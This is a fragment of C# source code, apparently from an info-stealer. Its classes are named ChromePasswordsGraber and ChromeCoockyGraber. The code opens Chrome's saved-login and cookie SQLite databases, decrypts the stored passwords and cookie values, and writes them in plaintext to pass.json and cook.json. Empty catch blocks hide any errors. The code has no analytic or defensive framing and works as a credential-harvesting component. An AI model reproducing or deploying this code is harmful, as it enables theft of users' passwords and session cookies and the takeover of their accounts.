public void GetPSW(string db_way, string _path = "pass.json") { try { byte[] entropyBytes = (byte[])null; string str1 = "logins"; string str2 = "data source=" + db_way + ";New=True;UseUTF16Encoding=True"; DataTable dataTable = new DataTable(); using (SQLiteConnection sqLiteConnection = new SQLiteConnection(str2)) { ((DbDataAdapter) new SQLiteDataAdapter(new SQLiteCommand(string.Format("SELECT * FROM {0} {1} {2}", (object)str1, (object)"", (object)""), sqLiteConnection))).Fill(dataTable); int count = dataTable.Rows.Count; for (int index = 0; index < count; ++index) { string description; byte[] bytes = SQB.Decrypt((byte[])dataTable.Rows[index][5], entropyBytes, out description); this.Array.Add(new ChromePasswordsGraber.Data() { url = dataTable.Rows[index][1].ToString(), password = new UTF8Encoding(true).GetString(bytes), login = dataTable.Rows[index][3].ToString() }); } } } catch { } this.ToFile(_path); }
public static string Decrypt(string cipherText, string entropy, out string description) { if (entropy == null) { entropy = string.Empty; } return(Encoding.UTF8.GetString(SQB.Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description))); }
public void GetCoocky(string db_way = "Cookies", string _path = "cook.json") { byte[] entropyBytes = (byte[])null; string str1 = "Cookies"; string str2 = "data source=" + db_way + ";New=True;UseUTF16Encoding=True"; DataTable dataTable = new DataTable(); using (SQLiteConnection sqLiteConnection = new SQLiteConnection(str2)) { ((DbDataAdapter) new SQLiteDataAdapter(new SQLiteCommand(string.Format("SELECT * FROM {0} {1} {2}", (object)str1, (object)"", (object)""), sqLiteConnection))).Fill(dataTable); int count = dataTable.Rows.Count; for (int index = 0; index < count; ++index) { string description; string str3 = new UTF8Encoding(true).GetString(SQB.Decrypt((byte[])dataTable.Rows[index][12], entropyBytes, out description)); try { ChromeCoockyGraber.Data data = new ChromeCoockyGraber.Data(); DataRow row = dataTable.Rows[index]; data.domain = dataTable.Rows[index][1].ToString(); data.expirationDate = Convert.ToDouble(dataTable.Rows[index][5]); data.secure = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[index][6])); data.httpOnly = Convert.ToBoolean(Convert.ToInt32(dataTable.Rows[index][7])); data.hostOnly = false; data.session = false; data.storeId = "0"; data.name = dataTable.Rows[index][2].ToString(); data.value = str3; data.path = dataTable.Rows[index][4].ToString(); data.id = this.CoockyMas.Count; this.CoockyMas.Add(data); } catch { } } } this.CoockyToFile(_path); }
public static string Decrypt(string cipherText, out string description) { return(SQB.Decrypt(cipherText, string.Empty, out description)); }